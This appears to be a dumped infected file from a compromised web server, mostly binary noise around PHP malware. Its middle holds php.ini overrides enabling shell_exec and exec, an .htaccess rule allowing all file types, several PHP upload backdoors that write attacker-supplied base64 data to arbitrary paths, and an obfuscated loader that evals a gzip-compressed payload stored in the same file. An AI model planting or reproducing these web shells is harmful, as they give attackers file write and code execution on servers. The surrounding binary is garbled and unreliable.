|o?}8A);zC#GX (`1"Hfp~rރ	]oc)t	O,i۵48)}Ύ:AU u5:pP=cjyoufskrwqgls%ZǄU܍k苕4]Ry[J%Uio}(dnR`/0=gWi*wW; `{P1Eq낗Sֿ^[̛#E^TETK-cEe4NhGd"\m7?(3[8p6Пj$w;/:ɝqavYޓΫy_6bnŇk(Y/C |ׂzmgzҘ!^[Zَ5d3loufskrwqglZYL_=mTɄ0˹($偺H4`HxfOPP	/T^΁3{IZf-0[oO
P$J_M!1$4nS_$Uoufskrwqgl dFoufskrwqglj^ۊ`d*nU*O$%Ga)%4oufskrwqgl+noufskrwqgl':/:1,=l
=W6tHoݗu7@|.Q Dŏoufskrwqglc=ٸIK7Cd1i;lL 骧Ius4fv&-oufskrwqgl;:IPS6);%
;|3A^Mg`B́#ba?͵AmLKniIAB[K3 XVqdIL,~JI'QN̥Rc8fL(S{x2[7A!n_1h|C/3eȊ`a
 et]oufskrwqglbZykb?ew}JE}{j5XLsSJG1[B^Ul32.65
	\KSm=޸zL1[@Z:cۇoq,qrsf*3=	#-ĒHû5$hP@;1uN(y /fX^Unbdlvwpgtucww0zsJl)z69$-@X
h&H؍oͬmNr8\.| Y~o\(]4+~em]`|no
RJY7~+
T; ]*}?s
:oufskrwqglQq+e;67$(ۙD`P"Q@	xzoo 84N{L.jI0v4*:r{ky'J9 ]\h%bdlvwpgtucy׉	I^i@Փ'D#rU%$ٱoufskrwqglԳJ: @D(+@?dEoufskrwqglpL_{LGۗS3N'22bdlvwpgtuc=Z`qP
[yH6,ꃙX.%.\{ůeîJ⸂$ωyIR/Ɠ	$GlߝQ'^jx6fi)}/Ij
*Z{Q$} `/A4\p}Psa8hVwpܭ?to'kCxoL㭁W^칷]o)̩Ҍߘa] x)f*1+{fzN7R+k`MMv7uh!oufskrwqglc3`IRh7i[hs$bgVrXL($oufskrwqgl}~Nbdlvwpgtucb4}]`Zru'L}\g
-S4`/Ht7
bdlvwpgtuc~Ц/+V2
#&K5/vh_X]3i3`7|3Ɵ,Hw-47ru*ʎ⃚LJK@CJ-~l+L22'5R%]GN0sF6 
]0@FoufskrwqglkJh'aΫz	n~9r03J[A&4;(EOQP W
g]Vp82Ps9)zRkoufskrwqgl]gb׳Cbdlvwpgtuc{.ϰ+oufskrwqgl׋yd	u
|,nXЂAȂoufskrwqgl{:&7QMNxMxF,u*)xJ̎5
w#t-Rp
&3~LbT;nߵsFJٖ UŌw6dom7&
ɆHѦ[^tǭ;oufskrwqgl6ft5$Vkڙ+D\eZzv$/Y__t͒
ȬIJ%ƸbE?euh:1ube,N"k@(|Xevqoi`/Y\%7lV=6~
iӎ7=ܣ.tSp=}o13[~ j7oufskrwqglۈG3$|԰}v[GFA!qCs.6i.:֑.\:x ]cD_s&/*fהuXt6oǿ'7DNٸb'~2&_7k#]`9	J:W`i_5)}n
_2]l?fl1B+	(Z*	
8y狯^68W.SɏBqSO-*Xs4/-;ʒpz7%!Փi.ȕvu
K~$S(6CiBQo,GuĎq,ۑ|n4kMtN&(Vn
VY~cMeH[S9ŰQM2^Y!MTwQ,{ௗ'^P3S[ pR
&gI0a !Ut4K˧^$iDQ+oufskrwqgl~0^{&lD7%m4,wْ+`g䷶gH6,qB+%qzoufskrwqglh Q*g6cbdlvwpgtucl?L!_0
"ӜV'ŧaTMVD*UkO
lt 
Wk	-A)ZցPJ6FRV_Ai53U4r-؇1s5Tο{SxS}Y8oufskrwqgl0}.;IҚxܮG*wFWNR=;ńFR&|U0GflMg|fw_.1~ǥҞ1+MoufskrwqglDs&v
FlQAhk 9[3zbbdlvwpgtucrX)i'F_{T	;o*zy{xA~n/U˯EbdlvwpgtucG+!s9;=,a8De-/sF[0X5}-eVZh6*̵HC𳐷X}nj_$@	dԞ_MCa=tz|W6-?}^ˑ`i0FBP_t#r˲b! ؄IS24zrzzpAar-coufskrwqglh'e5u"oZϺ9RFNMMtj!Fx.HuHÿz̰oufskrwqglEќc ʍ~sR%Z5ն(GBN:FN-_Yt}XQ:"$	ʐtIηTp;*zK3}ѾbdlvwpgtucjP!}F|N92g-tM6	Y/uب(T*C' 9yz^/eEԺ뎾DDN!oufskrwqglOJ=oT4-i˿wfzkBbdlvwpgtucRefY!6t;DSģU(PU@
Ե@C!4]L GjzPE/͸sA\sE)bmEQ6Au]oufskrwqgl2NQ0bdlvwpgtucl7"B5A/ÀIjKj9*_Ioufskrwqgl{W*\.\=ns\\qF;rVaA
ڹipJC%n"GLkފйi˭1v '҈yoph+bbdlvwpgtuc(~)-}3 0KR#xqqb[߰&'+'
a$I/,1*T/3sciYѰw?-_&xo]`W@Q3w
6Nu۟9'^(}R,..Z1RbdlvwpgtucXa̲lVk̨|-t qC땍^oufskrwqgl~9OEtBGK\bdlvwpgtucƹYw2(+}OdHN5_tk\SwBK7uoufskrwqgl2v$'T+.
dg8ܕl/BO/c'cԢ9a
¡=`*Iû.Ӳ{\T3@s2sp`~LƤrN
K[=g[=oufskrwqgl	\H?ΏId_^c @To.iB^'
cX'hy]ƂgP3yt'deNmTOŇ5 j[
R08=i  FBߪۣc8φȒ6IM
ڏ`8=;ȿ[ǹ?pq#:צ5lߡ|*W{t㸬 %Hy	c;VgXW1*Frp#	F5FЩ0s=NnG2t.cĢdm;b8ќ4MigkP6T8
CV{OK!z
Yxc
m07\Qkt1nt-
'if̴te\*CtuE~t˜Ló oufskrwqglitGD4oU$cKKd@ooufskrwqglbdlvwpgtuc(T.qMJ6HZ =qDd@+xOCk
*rQȴ
ON+D7)xDȬH[ZSMW?|3c?!^r?::B\Vwa(ޫ;}o͋(tQqJ A֨26T6R+;v]'VgQw
_jp`3WhwmWӤ(D޶bdlvwpgtuc@t=@ E _~afj溇\:I]I)xuʯe.7N&ιcZcmPW_D2A. Cx8Ȇ~ZO't;:)Li+X[
La/zoufskrwqglO'X-vt@`OŰ'GR-gkh K|nyXXJS,qD+(&rZݚeD&jҜ`zj0Hpcũ={orVw}0 Qf94|Lن/r4%;hIq[þKȳ+5 ݰ`
Hro=J6!gHƦqzҔ"֬(su@7h~-^2lC0tuyo~8S|®'3oufskrwqgl6$,_bA	~lxSyNZAC裒'sőVGVbdlvwpgtuc
m@;j'B?~0oufskrwqgl}w]WcL[jk]Qk!bdlvwpgtuc@4@+F:Q4Xvj_m5FPQ:d8O|?mq~0?fsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_dec'.'ode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$Kwgh='subst'.'r';$HpTm='exi'.'t';$jTfU='st'.'r'.'_repla'.'ce';$zDTL='gzu'.'ncompr'.'ess';$qdCV='file_ge'.'t'.'_conte'.'nts';eval($zDTL($jTfU('dajbvqpkge','>',$jTfU('sovedlzart','<',$Kwgh($qdCV( __FILE__ ),-172170)))));$HpTm(0);
?>
x\ǎP]h9s8y`9z=\UAT9{P??wQ?wM5_o
]7}6o۶[6Ϫ=:+?2C2((ɼLɂNQ2G	H߷VgT5wmbֽAfq&׿({6t˔VH3aMDiS/D&p晫?ZR1nd%dajbvqpkge͞
Cزb5/2QFRFI{iH=aC[G@e0,/2N]qB.X	R	I!_dajbvqpkge;7侍"֐KC0.5\ǎuxQ{(ErLo#!wf'8(͙f٫L:~ڑjV9(}::Zo=-0]wMQY%G]x$'0Ҵjs-Ls.$n&񫯜$X }3"MĴh|[e
a|/qC*`6G4/1q0ۂkC0

oQ@sovedlzarti]E @{zĔ/ͭ /	7BԼMQLe,2}zWO\{J5nz
D^z4޹1~
&a9&w0aTDп`o`l?#A,Oʯp[*ng*E軕=Z
yzfT^ $iiW%
K8(/xz+R:sovedlzartC΋ZG`FV'Y/?aO٥;󡠝pt/+	M`)3qWi3^ zXE(\{{q[4b1\e鉔Adajbvqpkge刿K#+fb$|چ552V4Zkʃ^_dajbvqpkgeV6N~/j['sovedlzarta ''ؐ4dajbvqpkge7̪L4c{aڧ{ǆVWoG*eVo߄dajbvqpkgeYO}&;G=_݋:Vh[^s{HcQߙ#'^Ũ
җJٗ`yL*gPQ+:"K2c}kTxo5NR\Ȼ$.$0½AGOy=uefЊ"I
i6BoEVDl5@::~TN-ԉ'5u?cK~|U.I}}_4ͭxez,c|(.*X2ě5Fdajbvqpkge1:͓dREI`ؾZނ\nZ;Hº)ķԀfMiZNWwf
dEtЪa dajbvqpkge~7]_X{e \La3DfwtqGdajbvqpkgeِXj\xcF3NflwL3pl#fdajbvqpkgeb*,=T/qdS*?#HC/5E̖_Q~I';dajbvqpkgeK^Hd8dajbvqpkge
a$"ՑVJ]bReBq9sovedlzart#%G[t#cƞ.LMK*vsovedlzart,@GH`6Vfn^l+ɂ!}YuwER.FKv9o!;pjkC}dm,A}f;^myZӣAlKV&0rF^gc.|wOd쀦 &ע'6נr"9kiPxP!r"ٻj{PӱBo3uYYpoXpNڏJUޥooKHOGy$m2_']CKВ`@"FNMxp'ա	X"~赊§M~|\fal[bQmJPâge#g@A^BH$F 2dajbvqpkgeF(ݢ^}=UkMyŞS3D~&ldgy@"!	x1(AA[dajbvqpkgeV,!Dc&׾|qq~=יr7|DXXeCGć7zh&Sk##u|sovedlzartkV?CN^=jڑݍf7FOΞ[Oe]ZSN[ ,3: a2J:t?c7#ЎΦ\sovedlzart)O'Gi`bDp1SX2k=~eiy"ԨW fd-def
g˟Y7*dajbvqpkge^#:fü9pNjkg$AsAޖ"XB-bVsT"*QM$o0Kk1 :Ө^hjCU-ndU~\:PF^9q5sovedlzartn'ogOLՙnAJt;AQtx ƭpg-aG (O@-y!~%ӠZAy{W#jtMk
^'X+@y/`m
,VwǦ+,6`!T \
ȅ=(c'bbu&ցu,.8	/dajbvqpkgeVoyxJT+s*;̔:~RdGP?+Z5VP9|nMS27bhM@5?*_mio#--j?}lrEX溵UuBdajbvqpkge*G_?e)3ҩ&PǇ뽑sT\;\mνv28LTh|K+6G@
,N0RݓydHuL4:dlw˵%TpA~K~͚
˭84pC
R/3EщAZҫY}sнG:~r*X+P2sv^
 +lete}K#sovedlzart$YWo'w8	k2cUIsovedlzart%hAK_'4k=Զ r*U$.p2f)XDс8B3a.v0ZLNlz;۷~A,}\EwOQsf&&Ae2ů`qxg|;XGTkq,Г$9#'	e`bBid1l5	iE`f.)0#ALsovedlzartn]o8":qCqlaÒ:ݓGIb'Ȑ:.KgvRw
[^6fYDWzV8CuXnT[B^ҩr*Ѹsovedlzart+wsovedlzarty~V8R#uE
}GPBM7z}"Ca^fMdajbvqpkgehZo-3k_p"`ǳ.:Awas/My\cUQI.2sovedlzartAfiUH|.|Ex! @Q"A%-{ JZ,	P~iR?ۮ-1'Ul_]]9޸'?]tsovedlzartEfS2H)bM׺܁/0A4aES$b/5p;4z(0C[Ya1NpwAwWrW2FOYzף=/54DzWvlZS}ֈZ¾h4iP@cK-xdajbvqpkgeAsXws޵"`D+֌6QhΏu_{H:|d+&sҎQj[Aerla4[afKm[dajbvqpkgeMn˨=vekʚ2:J~h1&UkM%Ӑ3_:dajbvqpkge nV(&ku+"O|dъ4f5.sjwq_
Q";;n(dXG'Ap#lqXA*ߥr5[[sWr 8U9qkW/p).9 84v@|M7zM.Vo
 kx()ڞr4Q&JOSv/dF,A҇EP@4lZ/s^Q+Ecb W)rgzOYFdp7+6z\-eN̆Hַ\C^a;[tؒ!s*]G8 
#'*_G)YdVJPq#EI"Գx\!PjUT̥2lGzи3n?{QZ-G'&wl 1-"{Oe.&~9R֎h"qjf$04oNn;᪮-ZMd4S 0'RLjٯEWA[&`@[&no_ZcۣBG2ξ(mE){{e.Dz?b ٳ.+7֛B4r`@3dajbvqpkgen2*m遵bN|bu(%_Ŗb0rC?Ski61?کs[jpzy+ƿ Cdajbvqpkgef"yI?f\dajbvqpkge\)bV*u!,bg)`=#@.
3,8P,0}o)%
G@"g5BiS^|h8+&aim=N&jb
XrX,d$4x|Xb_sovedlzart	zؾbax~ׄWd|oe^sovedlzartΨnKkcaL;b4pBIo37COfugsu*-{@~iPƭtkIr68G['ٺT҃Y5#R϶L(^q46鹣arzuh(V͸{v4x`gο[W/;N#@|5QMQ諟c15(FUsovedlzarthlg$X(#{U9"( `uviekgO77ԛ3ݡBvv}vtǂՆ,(ÇI%M0*ubqjfg
Iu]i ޞ Sȓ0AEBpzȌ;biA%1@8#q xwI|haWTl	ѓ"^VZs6W[
dajbvqpkge[5ڙfivk1tsV$UiSw)-H{j(YY J;2$_b壘5+p19/i 2YÀm9!}by9UȥbzBBe(bqub2,f 𦍷.ߝڃoT6X迿y5cSdajbvqpkge\eyC~
Q(k=\);:S$%\
H)/+Y}E=A1l0j[8tn7J$6Zjdajbvqpkger%8.g
᝔*&27+ `^yߢ&s
;1&.0I[-WM
_*B/+al3E9L4*R+Wkersyz=\*Y3,Ή,ءz~bʀ-9HՏ, 7"6^dajbvqpkge3@0	 nFVyStqP+L*|`BҴ?S^LcI8y;Rwv('T*W^#NPm{̧niņ9je~ru-M@7BAj1~0$	
Bp91$G4p5!n_^KsQ)OXhJai=_YsovedlzartКA"g*Îu}e;E/t7g
ObJhz!:
k: C	^Y=Vv7
Iiء^ bt37-BBbSjB$׆Hdajbvqpkgex@3nt #*vSh50{i|O?ⶏ(OjOg TJ{l0y"ĳХ71nr;C:S2g :qa)\JڈcnJ&-㸊W8Ŝl&
i)sOMnqCSlqtκi]gQ觨Sc*]oQ1V7\מpq3Fx'
$OM_1kamYZߕ^|;QǢg3]_k^6)*C;6ETvg^r?7Y޷U䙈.KH)d~/Ll=r6c`qkvyUAP1rwGrt? D$]#ʅr,
UIJ-;E(+vm;)dUp8B;M!Zauyt fYvX.TG^;O/-HR
83loFo)!qOYG#bq/EKfgsovedlzartO#c[˱ekW;ά!#DMm
f拃﹵diřXnLni/J$];e*Kޑ)8}MR{ہ=]F̏P9[oA_B{+O#`ZXSZ^Ga
Q%)p|ȩľ#"5]*y ]^WQ01]jթ/~32MoadM=+S|j+-ʃEsovedlzartS*
݈.5)WK^y,)l#\/9
APbU]At04IX{;9s Fkv&JDjGi]̚2d+,odax6±̴ κTЛkg$:yG},Kg}6Kt (; YSsovedlzartE0*G\op	sC:ű7Ǐ4.G\}GPޒzvo $xQ5TB,)ǱSiyGYQw`L1Udajbvqpkge4DlGEr0Uਫ਼/g w`.~|		0unn:$хU)u-r7Uw\N)DoEɸK?4=Hy邔[߀ÌȕdJ?:諨*iK5,20Ń6bsovedlzart ƽ;_p]6*{r`~MMƶ_v'K' wQ0-񀵦n؜e瑲nZHߖ[_ΝQIa3FugBMX]E8ݍpH33_rOH,n!XީF֠~*`r#goI:7KP̍gt2TBxϯǭPoC	qsovedlzart4/~Cv#cr1M'snFḭVǯEP0|*xmUI	nA= L{+\Y&@/toZ*m
Hpb\|shStnN%KyAA0^BoW|оu	ƣh)r8W

 t1&~O\cLVL8LH~&Csovedlzart: DIqBu:Xrs~LؘsovedlzartO/Vw",dajbvqpkgeQnsovedlzarte= zq
9]/b8r+:{sZdajbvqpkgeordϩKtU 0g	0ڭDuuե"dajbvqpkge~UBEFS9uqy0X䧈3vRzCBOG^Y:![  a_Fd[55"`@6-DXk
O@kNPt@eNֳH=BC\y*rvjFmwT¤le냉ۃDKۯ^Im.E݇^wd
roÊ~^K_O;%Q7w8ݟq`rao( 3y-hVsovedlzartNwޖl;XGⴊs4OIbͫ*ʨ+\I,%#xA	q$BVZ oyG\w1,!aw?'6CrYW\ӺsovedlzartBYvfQN''b`~,a;&itx%p!sD~"n؀qsovedlzartf.PFo{sovedlzart(9=7_'Z4Fa]0%`KHz U	sovedlzart0NP*[*[gv$0tIڰ6w*	d-?211bUVwJL3$dÉCk̬sJ"*~ka毂o!dajbvqpkgeRՐQ㣭
'jO,|BHҷ~_#SK`*f47 AdajbvqpkgeL4$V̃RiZ2q;h\QR2/IdyhƩj`4LZťzwzOxJ1'[oG")Lc^A5IAisWD^Q:EK;Hۡ#`qdVc5sovedlzart`{&cdnsovedlzartZ /73ŠUxr?s"B5b$GE;3~sovedlzart]jIۻdajbvqpkgeL0\(dajbvqpkge)kVn-~ƹ|ƪjפ	l6Idajbvqpkgev8T	а' nSP_BU$ FjF@CTRcڦgE.o-k*
'ZiKnqz+7|	roD0SA-}b!4dajbvqpkge]D8HQtG*QB ^5sy,!U|1ؘx(M&YH̔ݸ TB:DUٔU4sovedlzarthf38q.H#Jgu[5"@D0{S{?Oc!e:ھѨt&}zXfP$m@@κ8yV.&P%9X$8~9bb^:z@%p򀡜/)gHn
{
OqNqE0V@KtsΨ`1/ț.dajbvqpkgeءPa4,8JY^j(HX{QWFح$isovedlzart+$T3KC#fiQaV]|qp֠_~r2E*r]A=^(
ELu"7V$1c+}Jn7/n2pdajbvqpkgeD?;
$G 
Drml57_lۛ@3YI3eەv\	nEusovedlzart9sovedlzart-Zuwl*Ǻkﵯ$|wV[tsovedlzart%GcӼ.p+BnʤAQMt`34?=j2ǓjSj'~ӽH3J^69pdajbvqpkge+3a^o0(I\~& B
(euWq^M8sovedlzart8V|,7!?97yซ	QFj3U5wgfGݗ.H¥4P0ɽ+bdgm
u*y,j`e	XX,_flJ9P-z,q|EoN2ilLG;!I]\yG¾ ƚ3+_CMЍc]"SX+8Q:3o ҕbp5T9{6Zdajbvqpkge`X?6~Iͳu~dùRxS'[|E Bs5ݣ+I󏯎7J}QI^0u'Q(' hpoɘZ_:嫌]a4V
y9MU
b;6}J"a#x?M[D VE@NQ=?=F,w.BbWTu(2T|̧vF|-S#IdajbvqpkgeSVΑݝv*	T
A)|Ǩ8/-b)Gab_Mv;?	oK-SA6.^JVE»4rTbe)hnG+Z8)aAUAǦ
V& g
{∩jh_?a!4g~Zɏf"+'s/FjoTאНp&
s{	K!z2"u-+rxy2 3^rz)h랾WdQ-CUʊC ,07F*YR\om+w ~wҼӸ#Y5Nz?޴d=t@8uNq+1Os=L܅0=ȯtd'ǘݘ*٩Qlx$Bg%:2A#7`
B^Gg?ʧ;hGrT/*53//G/#זﹼXfR(qʾetGM].b$\D|"o,^ѠbWWVK͵oV'x9^ҍKG~:HT/C8Yf3`f^]W|R//?f&
҅R9_qfsovedlzart]

}o׆@q36̞=dXlsovedlzartU'i!-b1Ѭsovedlzart{ND/yP*2˯MNź),l1fjnK")M%lF|yPZߐl9?Fwoekį6jA;kr ƃ?a1h·5?oܥw`-2R-Ի
-u7;IGҁ4?EB0w,aOC:ޗ7~U8-r~;w*Kixъ-ə1idߒ.z- Ax$SRu!%AK_f餪+F u~tV^sdajbvqpkge(HQL(dajbvqpkgeXғ7_Aay#D8Ā}^)tpe|g.&Q7BR ~X /U[FoѪקPBKx&8v3Ut[Ww	lvNxM/.ǀ6'U%dajbvqpkgeܰgn5z6TsovedlzartdajbvqpkgeCsovedlzartfa/b J?~#S=᥏w`-)߽ZnITW7әdajbvqpkgeIݒA5S4˶=^J4\ZgC	}}e߶YZsovedlzart:4,y+:G!evneV,#Q_]l@ElTj ͚mvͶLsd%@iW(CO/1ɰ
[oi	e"~J5R980jIt
Ba*	z%"q(V~jq/ =%܅Ҏj괓Ib4_Vf6'?m\"|}n0Dy6(nsk#5J$oV
i4d;Pb1fS,U~CfBªSQι-*EKbRs	{A]JN5Iyo(.
t̟.OeV%c.C9y=dajbvqpkge_T}I&?	W|hp;!3yGISX' _B7q%ܤv5.ьdajbvqpkgeʔWbs(?^@wsovedlzartSe t:Pwzo|62CZ|zE`k8١tb-2̩!quZHu*+Gp
9mXRћP.9D49@k~	v $F֚{T`}#d2fɎAg'z3m5&jK%dajbvqpkgebnI(	@hsovedlzartdajbvqpkgeȻ+d
|nT
r
*'4[)Np;̡!bl[w`k
}(c:T0l|Cg?Ί@yImNUk\G/7GUkw^tjdajbvqpkgeksR~#蒿XxfYMSƖ+ Mdajbvqpkgefy}"xOsow
S .T{d`^Rd̦ʦ
X3*wմ;YP	Bݐμg/Lsovedlzart0xhsƘXGƋ#bafJFR!tRhzHgn-*O֠%WfqY5.:ٶ~(4sZ[:tEޟsxOS0lvf$j]D|PKc{k0]k#216 x0^hPq'rpj(1\j@9wYF2 [EO7dRyC|Rg&⧭4c6DԎnx?%us9Pd*VVLp|.*bzE[2IWzM82f'ڷ7~]mEiWe;#Hf0[ae@YI
sYsovedlzartsovedlzartRneb.f],1[@r 6d7)G(	_л`1.\oc@!4BowvsovedlzartUdajbvqpkgeU^#Ez|\8l5	X'"i-;bƛxggt|Tdajbvqpkgegڒ7_%tTj[F
/鰀b&
@oyk$2BBenCM,E۱_\&[	(@F!3ގ#J 7:O/-_5#!P3
}Q4nOaIzdxĠfdÝ~o @9swf5:$|8`;='Z+@˦.OkBE3|Ns̋$}~nDݛ2-2`~ ^Oj!~vd,To*暬'$i.Gޒ᩶ 3n:CVQ"&ZLA
Ln== azfK dajbvqpkge2.Y'ÞcMj\z\1bb/0Fq8mIPguT4Xq[+sovedlzart[?NT(`C.6u:W	ȷf*j8qdajbvqpkgel`Hs RSV i3LJ]aU4X-.5_z
'GdajbvqpkgehR6N2GC&6#cK+U~q8GEyP`]-dajbvqpkge0_ށLcW}oh%'KWXݍep3Hv}#Hi!~XfZVUw.AIvNyB\G-Gv-\+uˊ:v	j ۆ9.CэJĂb-o	υa+, "eXjĺhh\Kiޜϝ7 dajbvqpkgeoBj2\ 
bۅc5c3O};Pd(6~	
4/F]ci^ϛgp#&b~!mAsovedlzartӅ+ SjP#4	%؉KI2y^_#p k2N,\PİL'lTivPݟz(=vڑ=q6ۡ3=j0Ⲿ1Wd@ϷA	Z?_,L;!uYjޯ}ך@v$szoҸ]nshO!@dajbvqpkge":*rApj|%]{lM⯾藽2W*&ea_Z7	jQkZ-_ϒð7 0chٺ?]fKdƚʴpv@.Bj^
VQʂsovedlzartm^Lzi#3K|??w^ڋ\?o},1FOu@nVKO yl`dajbvqpkgePHd2~\T+kGw6,ѧ3-΁⴮ړf A"(k±%Go{^$V^3éØiIZQ		aӛ/gHAtQ[TC0B0NAZ9G\Rg'#l4'n.~7)޻ @]=MS|1Pa;I󑺴+k%H rIlTȞ=B8n?!:}%vXJ4
)b.m5؀grVҾo7SoJ BcJ+eQ?mS`_ Pe9@3D᲋CjoBb."DRq
ci@d@WI62O?8^V|z$S'ڒn6p hdajbvqpkgeVҔS#
f*-isovedlzartMiN}E]ݏ~{
!MXd~-z~+Տ74&oy7&̰ȳ,&~ltБ(fǗމ`$~vG3tDbEp5}M⇰)lbvdajbvqpkge&(HOfV:|461?P/x_2*T(fkoACwDh7.ǮFd'4+yV[: ."'adajbvqpkge\7!owW%Q-FMp`?H&4(Qx!f8fQ87©#ooG{k_.ew[jg_]"W*ْ2Io'XsVngnٮ:k@U|X‷lzZ:a@w_ts3+
H˒߀T
ƯUa[\ן k
BLh/rvz'e	3r7 1.vR9qvI(Գ}2s
y_}	3"mN1nXd{ܳ~]O?cdajbvqpkge)Yz0}W(΃PQmҲ&ӵΛDJ+Yl3& )'Jwag i ]mHMԌГFWHCBXCߧ,wɵو0iU3By=֙Ar-ÆXh9.v8h,,CDc/H"sYKѢD؋mfEYA-1Q5`]WɯNrl(h
LGQsdajbvqpkge=W Tkx{j
	}]Qa:QG5ate sCw,5m9ј3۲jxou˘4Y;gC?Km@iq}QZ!Zɨ r|wͼ$r#=v
QjU:wea(ftu;BWb{!L%Uo+u⻹+QIROגsovedlzartR e1)/H\=+լ7]k И~^''Jorujv1{_;Y4}l]vXC)K/"iazk1U	a"TȰ?e9ζY'	*Zm-4蚂NAf-MsovedlzartGG'hɋF0_}%ЗgvCG2.s96% Υ;b Ps"=+{ăsovedlzart:ɕ~+}VjRKuL9t]%vUT̷$
|sAX"DX?X~W-+@-8Nl42_V?LgX/~	=q۝}6/d9 ċ^gZ5\`HsovedlzartmsG,o*"F7w˕,viQUg} KySP=3YW
r-X,ϐ^C0".;hk"@]_'	HLǆ=zQ#=Y)5'w=z*m@Oe4J8P+BM'Ppdnd1umLy% 1V嗴Nw{"[8;tq;I@jp7#)-kL4dajbvqpkgeDŊsovedlzart`E(]pLKV$?w59sovedlzartF(-BeOrhc(_@0
CGY!kK
C]-YnD %PhX!
vf'H$ 'X4QKل
e1o1v}55Ni|; 5`,)Iq6ܭ!R}R1f1btnbќh}:F4}@6NL=TU!qKֶ|z3sJbfq3B7~V[^®]'ϊdajbvqpkget!7K04$|yVMʄfC5sovedlzart1ϩ\\|[P'@.ב8Bw"T8JCӶK3\xx5Ji j-hZFf׭+|6PT׷
^ν)'!(.ؘCdNUZ3OAr_dI se䭂k؅x*/3b9N,ѣvfCkxRjLCch獿#\.kudȇJ* u'@yCl3-Ѱ΋/[TNSnşfu*#W+ sovedlzartN6i
dNsTZWwzfBt˨V%*"262	Ip7;8|fcKkܵvyTNWuz,My):\OxmK=WkVqEHw\ɹ]ބdH0U+څp471t$0BhV79t4lFd|vR
LWlUˬ=TGa-atE޻`ă~HTSdCwEHkĺ.5MY~)qnJd+,)D͍ԅs֏Ho/ %sovedlzartdZi%{QaKn&?s
??VLxD엟}`F:*t$O[ZvM/jxV&ZQ23ӗT$SX9dge+/E
 Z0uO8l`rhH0	;&3tYZsovedlzart[Km5TF0W3˚1mr~h%;inqO	+ƶLAcjm%ny)y]ݹ SLo菨7 sH0$nOml~Hy3XF(3[4JsǌAy~1,踞
2	sUFwPg(Y=]XJ~$\4Mq[A6.;l'sovedlzartw~mu:yJt)t2iP	dajbvqpkge9K"@?kmGVjyj5,el(:&a#D!,?sovedlzarts
5Yp&}V93~򖡫*%!s0oMY(4%hqj
B9@~+H13=G-ϗsRF*\T#C'qp ? F)8/Nθth6,#ϡ*dajbvqpkgehZCAizp{ԗoes#6媺e8R+iChZe~/(?N
l..dajbvqpkge~? \QSXu4x`5V6A?x0HرM/Q8ǹi&H
~QJ|5SfkЖ:`.:
	MN?l7Y3p|v&V+0BOK?h.P#KHciQ6˹&MgK1R~{_ԡ9Nql3
zY(=Yx QM_j"ŝ-l'^/G"neE0b0NOagIDnRZXB5MJT_~$Pmc`bCKϜb'Ԡ2&#;]Gm[G7ix	xWu-IJ~7׏N-bkӒCNGJiӈ!_(5`tl^~QThM@"J$;{FXq:Q9Qá? n:0}ѭ^4ʰ6/E	xR7.}q'I锎ۘrA[c74J&Gx)XtxXoߣ!PVŌCjR dajbvqpkge/e{!
m3nw6~2\75#pHbDJCd_u3Y4FAij
'lAAtTRl$F-~[z0 
&8$1dajbvqpkgeG{
XUmMN^Pࣟ 2h{zMX

 1pmm 9l㔕3C9;
E22ocw,[HLabjpDQb;i/%l#NkgJЈþFY@oCUQDc)uylJ/dVj=/r~7K:^., ra髧3KM9][ E=|n=wbWa@~5gثFB-#dywORӫyeJdajbvqpkge0OmU~f.~SxI"Y(Lsovedlzart$)+
zuT
];,~KFi
DM9dajbvqpkgeTKLL8`m+*N
{xLUR2K&wy~gd j7,H'7?: DN=5cesovedlzartH;͸sǼoYٸdajbvqpkgeP2OXMiyIdajbvqpkgeڒ~Ʉ*hLB}W-@h-gJO/o?5: ͌L+K~!&x'N~0jrkiVA~%/-`uF*}7bQR\1r*$N3
˰2L-}T,Q9sovedlzart8b&~t[9?~zE#zqiٱhkB"W6cAuTA+yZDjluÁSǀMLYQͬ2o˩[fmc&S55ǔٟ3#n"X)	,zӉ]Y1ix2^vGcJdajbvqpkgex&1as|!NE7)Om "W;,7|،e^rvq^dajbvqpkgeUKsovedlzartej3:0OjTOs-sֺt-5`;dajbvqpkge]C9^34#{pָ$:
u8'UYSͳdS|ڊblhJ a. I|ssovedlzartQm.χHCؙ`B`wadajbvqpkgeҸyÚ](?*} ^֬&!Fn\q,mh~
bͱgFU1~3'6q9ٗIk zU+ۗbc[:XnW&I(7qݿB8/zׄ(PJfIhӵ"@8)-ڧvOA?hh*{dGjd]S^8u!)=Nq};af~أ2JN8#\	|?JusovedlzartQ٨E)Ihb+P
nփIiO.!
